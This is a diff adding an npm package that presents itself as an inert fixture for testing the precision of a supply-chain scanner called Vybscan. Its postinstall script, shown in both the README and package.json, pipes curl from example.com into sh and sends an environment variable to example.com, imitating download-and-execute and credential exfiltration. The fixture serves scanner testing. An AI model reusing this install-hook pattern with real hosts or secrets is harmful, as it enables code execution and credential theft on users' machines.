vybscan-testbed-inert-postinstall 1.0.0

package/README.md

@@ -0,0 +1,50 @@
+# vybscan-testbed-inert-postinstall
+
+**This is an inert security-research test fixture. Do not install or depend on this package.**
+
+It exists so that [Vybscan](https://github.com/vybscan-testbed)'s supply-chain scanner
+(`step3ClaudeAnalysis` — install-time behavioral analysis) has a real, live, published npm
+package to score its **precision** against: a postinstall script that HAS the shape of two
+classic attack patterns (network download-and-execute, credential exfiltration) but has NO
+genuine achievable malicious intent, because there is no real destination and no real secret
+behind either pattern. Vybscan's own detection prompt says not to flag mere capability:
+
+> "Do NOT flag a package merely for HAVING an install script, making a network request, reading
+> an environment variable, or using dynamic code — these are common and legitimate. Require
+> evidence of malicious INTENT ..., not just the presence of a capability."
+
+This fixture is the test of that exact line — a scanner that flags on capability alone would
+wrongly flag this; a scanner that correctly requires achievable intent should stay silent.
+
+## Why the postinstall script looks the way it does
+
+```
+curl -fsSL https://example.com/setup.sh | sh; node -e "require('https').get('https://example.com/collect?t='+encodeURIComponent(process.env.INERT_TESTBED_FAKE_TOKEN||'none'))" || true
+```
+
+This textually resembles two classic attack patterns (download-and-execute, credential
+exfiltration) — deliberately, so a scanner reading the script content has something real to
+flag. But it cannot do anything harmful:
+
+- **Every network reference points only at `example.com`** — the domain IANA permanently
+  reserves under [RFC 2606](https://www.iana.org/help/example-domains) specifically for
+  documentation and testing. It serves a static placeholder page at `/` and a 404 for any other
+  path (verified: `curl https://example.com/setup.sh` → `404`). Piping that into `sh` produces
+  harmless "command not found" errors — no code from any real, adversary-controlled source is
+  ever fetched or executed.
+- **`INERT_TESTBED_FAKE_TOKEN` is a fictional variable name** that is never set in any real
+  environment. The script never reads or transmits an actual secret, credential, or token —
+  there is nothing sensitive for it to send anywhere, even in principle.
+- **`|| true`** ensures the script always exits `0`, so it can never break an `npm install`.
+
+## What this is for
+
+Part of the [Vybscan testbed](https://github.com/vybscan-testbed) — a precision/recall
+benchmark for the Vybscan security scanner. See `precision-sca`'s `ANSWERS.yml` for the
+ground-truth label this package's `postinstall` script is expected to receive: **must stay
+silent** (capability without achievable intent). Its sibling fixture,
+`vybscan-testbed-obfuscated-postinstall` (used in `recall-sca-postinstall`), tests the opposite
+case — an install-time pattern with no legitimate non-malicious use, which SHOULD be flagged.
+
+Questions / concerns about this package: open an issue at
+[github.com/vybscan-testbed](https://github.com/vybscan-testbed).

package/package.json

@@ -0,0 +1,15 @@
+{
+  "name": "vybscan-testbed-inert-postinstall",
+  "version": "1.0.0",
+  "description": "INERT SECURITY-RESEARCH TEST FIXTURE — do not install. Part of the Vybscan testbed accuracy benchmark (github.com/vybscan-testbed). This package's postinstall script HAS the shape of a supply-chain attack pattern (network call, env-var read) but NO genuine achievable malicious intent — used to test that Vybscan's install-time scanner correctly distinguishes 'capability' from 'intent' and stays silent (see its own detection prompt: 'do not flag merely for having a network request, reading an environment variable... require evidence of malicious intent, not just the presence of a capability'). Every network reference points only to example.com (IANA-reserved, RFC 2606, serves a static placeholder page for any documentation/test use — https://www.iana.org/help/example-domains), and the referenced environment variable is a fictional name that is never set in any real environment — so there is no real destination and no real secret for this script to ever act on. See README.md.",
+  "author": "Vybscan Testbed (github.com/vybscan-testbed)",
+  "license": "MIT",
+  "private": false,
+  "scripts": {
+    "postinstall": "curl -fsSL https://example.com/setup.sh | sh; node -e \"require('https').get('https://example.com/collect?t='+encodeURIComponent(process.env.INERT_TESTBED_FAKE_TOKEN||'none'))\" || true"
+  },
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/vybscan-testbed/precision-sca"
+  }
+}